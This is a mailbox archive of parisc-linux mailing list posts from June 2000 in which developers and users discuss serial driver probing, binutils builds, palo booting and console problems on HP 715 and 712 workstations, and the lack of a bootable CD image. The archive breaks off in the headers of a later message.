Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618955 858 80.91.229.3 (22 Nov 2014 01:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Sat Jun  3 14:42:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA13322
	for <parisc-linux@puffin.external.hp.com>; Sat, 3 Jun 2000 14:42:04 -0600
Original-Received: (qmail 17078 invoked by uid 15267); 3 Jun 2000 20:42:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17048 invoked from network); 3 Jun 2000 20:42:33 -0000
Original-Received: from user677.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.34.166)
  by mailserv2.iuinc.com with SMTP; 3 Jun 2000 20:42:33 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E607FB007; Sat,  3 Jun 2000 21:42:15 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200006020604.XAA05048@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Jun 01, 2000 at 11:04:08PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7408

On Thu, Jun 01, 2000 at 11:04:08PM -0700, Grant Grundler wrote:
> Richard Hirst wrote:
> ...
> > The solution might be to make register_serial() aware of whether rs_init()
> > has yet been called.  If it hasn't, register_serial() just queues the
> > struct_serial that was passed in and returns success.  At the end of
> > rs_init() we call register_serial() again for each item in the queue.
> > This is similar to what happens with the net devices.
> 
> Richard,
> For lack of visible discussion, I'd say just do it.

I have taken a different approach, and made rs_init() call probe_serial_gsc()
after calling probe_serial_pci().  We no longer attempt to register serial
drivers from busdevices_init().  I also removed a few gsc specific hacks
from serial.c, as they don't appear to be necessary any more.

Richard


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Strauss <strauss@astracom.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] documentation?
Date: Sun, 04 Jun 2000 14:07:42 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <393A468E.DB0F32A0@astracom.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618955 865 80.91.229.3 (22 Nov 2014 01:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: strauss@astracom.net  Sun Jun  4 06:07:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA19776
	for <parisc-linux@puffin.external.hp.com>; Sun, 4 Jun 2000 06:07:39 -0600
Original-Received: (qmail 13798 invoked by uid 15267); 4 Jun 2000 12:08:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13791 invoked from network); 4 Jun 2000 12:08:14 -0000
Original-Received: from tower.ti.com (192.94.94.5)
  by mailserv2.iuinc.com with SMTP; 4 Jun 2000 12:08:14 -0000
Original-Received: from dlep6.itg.ti.com ([157.170.188.9])
	by tower.ti.com (8.10.1/8.10.1) with ESMTP id e54C7kH18285
	for <parisc-linux@thepuffingroup.com>; Sun, 4 Jun 2000 07:07:46 -0500 (CDT)
Original-Received: from dlep6.itg.ti.com (localhost [127.0.0.1])
	by dlep6.itg.ti.com (8.9.3/8.9.3) with ESMTP id HAA12038
	for <parisc-linux@thepuffingroup.com>; Sun, 4 Jun 2000 07:07:41 -0500 (CDT)
Original-Received: from jupiter.mktg.tide.ti.com (jupiter.mktg.tide.ti.com [137.167.205.45])
	by dlep6.itg.ti.com (8.9.3/8.9.3) with ESMTP id HAA11984
	for <parisc-linux@thepuffingroup.com>; Sun, 4 Jun 2000 07:07:39 -0500 (CDT)
Original-Received: from astracom.net (judy.mktg.tide.ti.com [137.167.205.26])
	by jupiter.mktg.tide.ti.com (8.8.8/8.8.8) with ESMTP id OAA08476
	for <parisc-linux@thepuffingroup.com>; Sun, 4 Jun 2000 14:07:43 +0200 (MET DST)
Original-Sender: alex@mktg.tide.ti.com
X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 i86pc)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7409

Hi there,

I know that PA-RISC Linux is still in a early development stage, but
anyway I'd like to test the existing code on a 715/100. Is there any
useful documentation about what that packages are containing and how to
install and get it running?

Thanks!
-- 
best regards,
Alexander Strauss <strauss@astracom.net>


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documentation?
Date: Sun, 4 Jun 2000 16:14:54 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20000604161454.E20876@thepuffingroup.com>
References: <393A468E.DB0F32A0@astracom.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618956 867 80.91.229.3 (22 Nov 2014 01:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alexander Strauss <strauss@astracom.net>
Original-X-From: willy@thepuffingroup.com  Sun Jun  4 13:14:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA21998
	for <parisc-linux@puffin.external.hp.com>; Sun, 4 Jun 2000 13:14:28 -0600
Original-Received: (qmail 12505 invoked by uid 15267); 4 Jun 2000 19:15:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12492 invoked from network); 4 Jun 2000 19:15:04 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 4 Jun 2000 19:15:04 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA22413;
	Sun, 4 Jun 2000 16:14:54 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <393A468E.DB0F32A0@astracom.net>; from Alexander Strauss on Sun, Jun 04, 2000 at 02:07:42PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7410

On Sun, Jun 04, 2000 at 02:07:42PM +0200, Alexander Strauss wrote:
> Hi there,
> 
> I know that PA-RISC Linux is still in a early development stage, but
> anyway I'd like to test the existing code on a 715/100. Is there any
> useful documentation about what that packages are containing and how to
> install and get it running?

have you read the website?  http://www.thepuffingroup.com/parisc/
if so, what information do you require that is lacking?

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Binutils update.
Date: Tue, 06 Jun 2000 21:35:48 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <393DC314.727E2E4D@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618956 869 80.91.229.3 (22 Nov 2014 01:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, alan@linuxcare.com.au
Original-X-From: rbradetich@uswest.net  Tue Jun  6 21:41:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA13193
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Jun 2000 21:41:55 -0600
Original-Received: (qmail 6011 invoked by uid 15267); 7 Jun 2000 03:42:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6001 invoked from network); 7 Jun 2000 03:42:37 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 7 Jun 2000 03:42:37 -0000
Original-Received: (qmail 36077 invoked by alias); 7 Jun 2000 03:42:31 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 36057 invoked by uid 0); 7 Jun 2000 03:42:30 -0000
Original-Received: from vega.ybsoft.com (HELO uswest.net) (63.224.241.65)
  by boispop1.bois.uswest.net with SMTP; 7 Jun 2000 03:42:30 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/782)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7411

Hello all,

I have finished working through all the compiler warnings and errors in
the binutils-2.10 build for the HP ansi compiler in ANSI and non-ANSI
mode.  Unfortunately I am with out a i386 system atm :( (Will be
remedied
soon!) so I can not test the cross compiler.  If someone with access to
an
i386 would test this for me I would appreciate it. :)

Just wanted to give an update to the list, so people could try out my
changes
and make sure I didn't break anything! *fingers crossed*

Well off to step 3 in the recipe now....

Later,
- Ryan



From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 booting from SCSI disk nearly ok
Date: Wed, 7 Jun 2000 05:15:01 -0700 (PDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20000607121501.19560.qmail@web514.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618956 872 80.91.229.3 (22 Nov 2014 01:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Wed Jun  7 06:14:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA18335
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jun 2000 06:14:55 -0600
Original-Received: (qmail 23408 invoked by uid 15267); 7 Jun 2000 12:15:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23399 invoked from network); 7 Jun 2000 12:15:37 -0000
Original-Received: from web514.mail.yahoo.com (216.115.104.229)
  by mailserv2.iuinc.com with SMTP; 7 Jun 2000 12:15:37 -0000
Original-Received: from [149.234.12.1] by web514.mail.yahoo.com; Wed, 07 Jun 2000 05:15:01 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7412

--- Ulrich Strelow <ulrich_strelow@yahoo.com> wrote:
> Hi all,
> 
> first the good news: following Paul's excellent palo
> documentation I succeeded to boot my 715/33 from its
> internal HP C3324A SCSI disk. I booted the kernel
> from
> the special F0 partition and used the ext2 fs on
> partition 2 as the root filesystem.
> 
> But booting the kernel /vmlinux directly from the
> ext2
> filesystem fails.
 
With the recent changes to palo, this problem has been
solved. Booting a pre1-kernel from the internal SCSI
disk's ext2 filesystem now works fine on my 715/33.

Ulrich

__________________________________________________
Do You Yahoo!?
Yahoo! Photos -- now, 100 FREE prints!
http://photos.yahoo.com


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting a pre8-kernel on a 715/33 fails
Date: Wed, 7 Jun 2000 05:31:17 -0700 (PDT)
Lines: 104
Approved: news@gmane.org
Message-ID: <20000607123117.6133.qmail@web511.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618957 874 80.91.229.3 (22 Nov 2014 01:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Wed Jun  7 06:31:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA18921
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jun 2000 06:31:07 -0600
Original-Received: (qmail 1558 invoked by uid 15267); 7 Jun 2000 12:31:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1543 invoked from network); 7 Jun 2000 12:31:48 -0000
Original-Received: from web511.mail.yahoo.com (216.115.104.226)
  by mailserv2.iuinc.com with SMTP; 7 Jun 2000 12:31:48 -0000
Original-Received: from [149.234.12.1] by web511.mail.yahoo.com; Wed, 07 Jun 2000 05:31:17 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7413

Hi,

after the pre8-merge, booting a kernel on my 715/33
fails. I have checked out the linux-2.3 tree this
morning and build a kernel. The bootlog stops when the
ASP chip is initialized. Here is the complete log
(booted via rbootd):

Trying lan.0004ac-4425c5.0.0
Boot path initialized.
Attempting to load IPL.

Hard booted.
palo ipl ulli@Ullis_PC Wed Jun  7 06:37:35 MEST 2000
0/vmlinux 2575693 bytes @ 0x7800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX
root=/dev/nfs nfsroot=149.234.204.34
 '
Kernel: partition 0 file /vmlinux
ELF32 executable
                prepare_loadable 00503680 2

Entry 00101c9c first 00100000 n 4
Segment 0 load 00100000 size 1461596 mediaptr 0x1000
Segment 1 load 00266000 size 124028 mediaptr 0x166000
Segment 2 load 00288000 size 69524 mediaptr 0x185000
Segment 3 load 0029c000 size 8192 mediaptr 0x196000
branching to kernel entry point 0x00101c9c
pdc_cons registered !
The Kernel has started...
Free memory starts at: 0xc02ca000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs
nfsroot=149.234.204.34 '
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00003110 00000481 00000000 00000000 78294d38
ffffffff 00000004 0000000a
0000000a
vers    00000013
CPUID vers 0 rev 0
CPU(s): 1 x PA7100 at 33.333500 MHz
Searching for devices in PDC firmware...  an older
box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000,
versions 0x6, 0x0, 0x77, 0x0, 0x0
2. Scorpio Jr. Core BA (11) at 0xf082f000, versions
0xb, 0x0, 0x70, 0x0, 0x0
3. Scorpio Jr. Core SCSI (10) at 0xf0825000, versions
0xb, 0x0, 0x71, 0x0, 0x0
4. Scorpio Jr. Core LAN (802.3) (10) at 0xf0826000,
versions 0xb, 0x0, 0x72, 0x0, 0x0
5. Scorpio Jr. Core HIL (10) at 0xf0821000, versions
0xb, 0x0, 0x73, 0x0, 0x0
6. Scorpio Jr. Core RS-232 (10) at 0xf0823000,
versions 0xb, 0x0, 0x75, 0x0, 0x0
7. Scorpio Jr. Core RS-232 (10) at 0xf0822000,
versions 0xb, 0x0, 0x75, 0x0, 0x0
8. Scorpio Jr. Core Centronics (10) at 0xf0824000,
versions 0xb, 0x0, 0x74, 0x0, 0x0
9. Scorpio Jr. Audio (10) at 0xf1000000, versions 0xb,
0x0, 0x7b, 0x0, 0x0
9. Scorpio Jr. Audio (10) at 0xf1000000, versions 0xb,
0x0, 0x7b, 0x0, 0x0
11. Scorpio Jr. (1) at 0xfffbf000, versions 0x1b, 0x0,
0x9, 0x0, 0x0
That's a total of 11 devices.
Linux version 2.3.99-pre8 (ulli@Ullis_PC) (gcc version
2.9-hppa-991112) #1 Wed Jun 7 06:27:41 MEST 2000
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 12288
zone(0): 6144 pages.
zone(1): 6144 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 30.11 BogoMIPS
Memory: 45380k available
Dentry-cache hash table entries: 8192 (order: 4, 65536
bytes)
c2ff0000 c2ff8000 c2fde000 c2ffc000
Buffer-cache hash table entries: 1024 (order: 0, 4096
bytes)
Page-cache hash table entries: 16384 (order: 4, 65536
bytes)
kmem_create: Poisoning requested, but con given -
bdev_cache
Inode-cache hash table entries: 4096 (order: 3, 32768
bytes)
kmem_create: Poisoning requested, but con given -
inode_cache
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
request_irq(259, c0209904, 0x0, asp, c2fd9080)

Any ideas what's wrong ?

Ulrich

__________________________________________________
Do You Yahoo!?
Yahoo! Photos -- now, 100 FREE prints!
http://photos.yahoo.com


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tara Dear <tdear@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unable to open console on a 712
Date: Wed, 07 Jun 2000 10:49:28 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <393E8B27.AE7ECEDB@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618957 877 80.91.229.3 (22 Nov 2014 01:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tdear@linuxcare.com  Wed Jun  7 11:46:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21657
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jun 2000 11:46:55 -0600
Original-Received: (qmail 12369 invoked by uid 15267); 7 Jun 2000 17:47:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12354 invoked from network); 7 Jun 2000 17:47:33 -0000
Original-Received: from unknown (HELO tdear.linuxcare.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 7 Jun 2000 17:47:33 -0000
Original-Received: from linuxcare.com (localhost.localdomain [127.0.0.1])
	by tdear.linuxcare.com (Postfix) with ESMTP id 4D0158805
	for <parisc-linux@thepuffingroup.com>; Wed,  7 Jun 2000 10:49:28 -0700 (PDT)
Original-Sender: tdear@tdear.linuxcare.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7414

I am trying to boot a 712/80.

When built with ramdisk20000530-sticon.tgz and specifing sti console in
menuconfig, make dep doesn't run clean

When built with ramdisk2000530-sticon.tgx and NOT specifing sti console
in menusconfig, make dep works but  booting stops after :

        kmem_create: Forcing size work alignment -nfs_fh
        VFS: Mounted root (ext2 filesystem)
        request_irq(538, c01bb030, 0x4000000, serial, c0289794)

At this point certain key strokes create responses
        keyb_at: K_NONE for 125                              //when
pushing page up
or
        keyboard: unrecognized scancode (61) - ignored
//when pushing ctrl

I can ping the 712 but I can't get the console.

Any ideas??


From - Thu Nov 08 21:12:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unable to open console on a 712
Date: Thu, 8 Jun 2000 12:28:17 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <00060812281701.00347@P100>
References: <393E8B27.AE7ECEDB@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618957 882 80.91.229.3 (22 Nov 2014 01:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:57 +0000 (UTC)
To: Tara Dear <tdear@linuxcare.com>, parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Thu Jun  8 04:28:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA30193
	for <parisc-linux@puffin.external.hp.com>; Thu, 8 Jun 2000 04:28:09 -0600
Original-Received: (qmail 19306 invoked by uid 15267); 8 Jun 2000 10:28:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19284 invoked from network); 8 Jun 2000 10:28:50 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 8 Jun 2000 10:28:50 -0000
Original-Received: (qmail 10749 invoked by uid 0); 8 Jun 2000 10:28:18 -0000
Original-Received: from pec-33-120.tnt5.me2.uunet.de (HELO P100) (149.225.33.120)
  by mail03.rzmi.gmx.net with SMTP; 8 Jun 2000 10:28:18 -0000
X-Mailer: KMail [version 1.1.50]
In-Reply-To: <393E8B27.AE7ECEDB@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7415

Hi Tara,

Am Wed, 07 Jun 2000 schrieb Tara Dear:
> I am trying to boot a 712/80.
>
> When built with ramdisk20000530-sticon.tgz and specifing sti console in
> menuconfig, make dep doesn't run clean

I will look into this later this evening. 
(did you disabled the serial-console in this configuration ?).

>
> When built with ramdisk2000530-sticon.tgx and NOT specifing sti console
> in menusconfig, make dep works but  booting stops after :
>
>         kmem_create: Forcing size work alignment -nfs_fh
>         VFS: Mounted root (ext2 filesystem)
>         request_irq(538, c01bb030, 0x4000000, serial, c0289794)

This seems to be correct. The kernel switches to the serial-console, so that 
all output goes to your serial port. You should check it again with 
ramdisk20000530-sercon.tgz or change the major/minor of /dev/console in the 
sticon-ramdisk to 5,1. 

>
> At this point certain key strokes create responses
>         keyb_at: K_NONE for 125                              //when
> pushing page up
> or
>         keyboard: unrecognized scancode (61) - ignored
> //when pushing ctrl

you get this output, because we do not disable the pdc-console completely for 
now.

>
> I can ping the 712 but I can't get the console.
>
> Any ideas??
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paulius Pazera" <paulius@glds.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bootable CD image
Date: Fri, 9 Jun 2000 09:30:14 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <006f01bfd230$00383510$4808a8c0@glds.com>
References: <200006020604.XAA05048@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618957 887 80.91.229.3 (22 Nov 2014 01:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:57 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: paulius@glds.com  Fri Jun  9 10:24:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA11078
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jun 2000 10:24:10 -0600
Original-Received: (qmail 7312 invoked by uid 15267); 9 Jun 2000 16:24:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7302 invoked from network); 9 Jun 2000 16:24:34 -0000
Original-Received: from mail.wincable.com (HELO internet?nt.glds.com) (12.13.216.130)
  by mailserv2.iuinc.com with SMTP; 9 Jun 2000 16:24:34 -0000
Original-Received: from pauliusnt (12.13.216.133 [12.13.216.133]) by internet_nt.glds.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id L47AZYXS; Fri, 9 Jun 2000 09:29:45 -0700
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7416

Hi guys,


Our company bought HP9000/800/H30 from auction. Hardware is ok, it boots
HP-UX 9 fine, but there is not much to do without root password and CDs. The
only chance I can see to make it functional is to install Linux.
Unfortunately I could not find anything to start with. Could somebody tell
me where from I can download bootable CD image and basic development
utilities (gcc, glibc, etc) for pa-risc linux. Thanks a lot.


Paulius



From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bootable CD image
Date: Fri, 09 Jun 2000 17:01:43 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20000609230143.8DB9537DF9@carmen.fc.hp.com>
References: <200006020604.XAA05048@milano.cup.hp.com>  
 <006f01bfd230$00383510$4808a8c0@glds.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618958 892 80.91.229.3 (22 Nov 2014 01:15:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paulius Pazera" <paulius@glds.com>
Original-X-From: taggart@carmen.fc.hp.com  Fri Jun  9 17:22:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA14020
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jun 2000 17:22:01 -0600
Original-Received: (qmail 15302 invoked by uid 15267); 9 Jun 2000 23:22:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15290 invoked from network); 9 Jun 2000 23:22:42 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 9 Jun 2000 23:22:42 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP
	id 7CA10579; Fri,  9 Jun 2000 17:00:20 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 8DB9537DF9; Fri,  9 Jun 2000 17:01:43 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from "Paulius Pazera" <paulius@glds.com> 
   of "Fri, 09 Jun 2000 09:30:14 PDT." <006f01bfd230$00383510$4808a8c0@glds.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7417


"Paulius Pazera" writes...

> Our company bought HP9000/800/H30 from auction. Hardware is ok, it boots
> HP-UX 9 fine, but there is not much to do without root password and CDs. The

You *could* boot it single user and change the root password.

> only chance I can see to make it functional is to install Linux.
> Unfortunately I could not find anything to start with. Could somebody tell
> me where from I can download bootable CD image and basic development
> utilities (gcc, glibc, etc) for pa-risc linux. Thanks a lot.

The port is still in progress, so there are no "bootable CD image"s yet. Right 
now the kernel builds and boots and there are drivers for some older devices. 
There is also a cross-toolchain(static) and some static userspace apps. There 
is a hardware database at,

http://216.208.98.4/

with entries for H20 and H50. Perhaps you could submit an entry for H30?

If you want to try the kernel on your H30 you can follow the recipe at,

http://www.thepuffingroup.com/parisc/recipe.html

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <helgaas@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Picky details of TLB fault handlers
Date: Mon, 22 Mar 1999 11:05:09 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <199903221705.LAA01108@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
